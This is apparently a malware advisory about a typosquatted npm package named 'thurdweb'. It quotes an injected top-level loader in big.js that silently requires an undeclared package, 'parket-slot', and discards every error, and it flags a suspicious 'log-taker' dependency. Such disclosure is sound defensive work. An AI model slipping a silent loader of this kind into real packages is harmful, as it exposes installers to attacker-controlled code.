The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require(\"parket-slot\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.\n\n## Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)\nAny computer that has this package installed or running should be considered fully compromised.
